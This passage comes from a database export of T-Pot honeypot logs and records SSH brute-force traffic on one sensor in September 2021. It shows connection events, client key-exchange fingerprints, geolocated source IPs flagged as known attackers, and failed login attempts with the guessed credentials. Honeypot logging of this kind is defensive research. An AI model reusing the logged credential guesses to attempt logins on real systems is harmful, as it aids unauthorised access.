"umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 38606, "dest_port": 22, "timestamp": "2021-09-20T11:15:29.223631", "@timestamp": "2021-09-20T11:15:29.223Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
27775	5.188.62.196	109.199.241.180	Cowrie	2021-09-20 14:15:17.839004+03	2021-09-20 14:30:01.907524+03	{"_id": "4QbqAnwBvYTbRNuE3CnT", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "5.188.62.196", "asn": 44050, "as_org": "Petersburg Internet Network ltd.", "latitude": 55.7386, "location": {"lat": 55.7386, "lon": 37.6068}, "timezone": "Europe/Moscow", "longitude": 37.6068, "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "sensor": "b63cdd9641b8", "src_ip": "5.188.62.196", "eventid": "cowrie.session.closed", "message": "Connection lost after 1 seconds", "session": "ee2693637d5e", "@version": "1", "duration": 1.314802885055542, "timestamp": "2021-09-20T11:15:17.839004Z", "@timestamp": "2021-09-20T11:15:17.839Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
27776	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:15:18.515172+03	2021-09-20 14:30:01.908523+03	{"_id": "4gbqAnwBvYTbRNuE3CnU", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 27.69.246.93:52606 (192.168.176.2:22) [session: 021174df3485]", "session": "021174df3485", "@version": "1", "protocol": "ssh", "src_port": 52606, "dest_port": 22, "timestamp": "2021-09-20T11:15:18.515172Z", "@timestamp": "2021-09-20T11:15:18.515Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
27777	116.105.211.46	109.199.241.180	Cowrie	2021-09-20 14:15:18.360373+03	2021-09-20 14:30:01.909524+03	{"_id": "5AbqAnwBvYTbRNuE3CnU", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.105.211.46", "eventid": "cowrie.session.closed", "message": "Connection lost after 68 seconds", "session": "3866c4e895a9", "@version": "1", "duration": 68.93418598175049, "timestamp": "2021-09-20T11:15:18.360373Z", "@timestamp": "2021-09-20T11:15:18.360Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
27778	27.69.246.93	109.199.241.180	Suricata	2021-09-20 14:15:18.883315+03	2021-09-20 14:30:01.910524+03	{"_id": "5QbqAnwBvYTbRNuE3im6", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "27.69.246.93", "dest_ip": "192.168.20.116", "flow_id": 154661458192765, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 52606, "dest_port": 22, "timestamp": "2021-09-20T11:15:18.883315Z", "@timestamp": "2021-09-20T11:15:18.883Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
27779	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:15:18.886175+03	2021-09-20 14:30:01.912554+03	{"_id": "5gbqAnwBvYTbRNuE3yn4", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "27.69.246.93", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 52606, "timestamp": "2021-09-20T11:15:18.886175", "@timestamp": "2021-09-20T11:15:18.886Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
27780	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:15:18.815737+03	2021-09-20 14:30:01.913554+03	{"_id": "6QbqAnwBvYTbRNuE4Cm9", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.login.failed", "message": "login attempt [applmgr/applmgr] failed", "session": "4306e5def5fb", "@version": "1", "password": "applmgr", "username": "applmgr", "timestamp": "2021-09-20T11:15:18.815737Z", "@timestamp": "2021-09-20T11:15:18.815Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
27781	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:15:19.485888+03	2021-09-20 14:30:01.914554+03	{"_id": "6gbqAnwBvYTbRNuE4Cm9", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.session.closed", "message": "Connection lost after 9 seconds", "session": "2e036f571af5", "@version": "1", "duration": 9.539095163345337, "timestamp": "2021-09-20T11:15:19.485888Z", "@timestamp": "2021-09-20T11:15:19.485Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
27782	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:15:20.183829+03	2021-09-20 14:30:01.915553+03	{"_id": "9gbqAnwBvYTbRNuE5Cmn", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 27.69.246.93:49460 (192.168.176.2:22) [session: 1a0fa1cf258e]", "session": "1a0fa1cf258e", "@version": "1", "protocol": "ssh", "src_port": 49460, "dest_port": 22, "timestamp": "2021-09-20T11:15:20.183829Z", "@timestamp": "2021-09-20T11:15:20.183Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
27783	116.105.211.46	109.199.241.180	Cowrie	2021-09-20 14:15:19.878003+03	2021-09-20 14:30:01.916524+03	{"_id": "7wbqAnwBvYTbRNuE5Cmm", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.105.211.46", "eventid": "cowrie.session.closed", "message": "Connection lost after 57 seconds", "session": "e690b4deba37", "@version": "1", "duration": 57.63545322418213, "timestamp": "2021-09-20T11:15:19.878003Z", "@timestamp": "2021-09-20T11:15:19.878Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
27784	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:15:20.182663+03	2021-09-20 14:30:01.918524+03	{"_id": "-AbqAnwBvYTbRNuE5Cmn", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.login.failed", "message": "login attempt [root/root-Bahrain] failed", "session": "021174df3485", "@version": "1", "password": "root-Bahrain", "username": "root", "timestamp": "2021-09-20T11:15:20.182663Z", "@timestamp": "2021-09-20T11:15:20.182Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
27785	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:15:20.492714+03	2021-09-20 14:30:01.919524+03	{"_id": "-QbqAnwBvYTbRNuE5Cmn", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "1a0fa1cf258e", "@version": "1", "timestamp": "2021-09-20T11:15:20.492714Z", "@timestamp": "2021-09-20T11:15:20.492Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
27786	27.69.246.93	109.199.241.180	Suricata	2021-09-20 14:15:20.465589+03	2021-09-20 14:30:01.920523+03	{"_id": "-gbqAnwBvYTbRNuE5imL", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "27.69.246.93", "dest_ip": "192.168.20.116", "flow_id": 1900930736304129, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 49460, "dest_port": 22, "timestamp": "2021-09-20T11:15:20.465589Z", "@timestamp": "2021-09-20T11:15:20.465Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
27787	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:15:20.465767+03	2021-09-20 14:30:01.922524+03	{"_id": "-wbqAnwBvYTbRNuE5ynJ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "27.69.246.93", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 49460, "timestamp": "2021-09-20T11:15:20.465767", "@timestamp": "2021-09-20T11:15:20.465Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
27788	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:15:21.537796+03	2021-09-20 14:30:01.923523+03	{"_id": "_gbqAnwBvYTbRNuE6CmP", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.session.closed", "message": "Connection lost after 3 seconds", "session": "021174df3485", "@version": "1", "duration": 3.019974946975708, "timestamp": "2021-09-20T11:15:21.537796Z", "@timestamp": "2021-09-20T11:15:21.537Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
27789	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:15:22.257103+03	2021-09-20 14:30:01.924524+03	{"_id": "BAbqAnwBvYTbRNuE7Cp4", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 116.98.160.162:50588 (192.168.176.2:22) [session: 424c2bceab33]", "session": "424c2bceab33", "@version": "1", "protocol": "ssh", "src_port": 50588, "dest_port": 22, "timestamp": "2021-09-20T11:15:22.257103Z", "@timestamp": "2021-09-20T11:15:22.257Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
27790	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:15:22.610848+03	2021-09-20 14:30:01.925524+03	{"_id": "BQbqAnwBvYTbRNuE7Cp4", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", 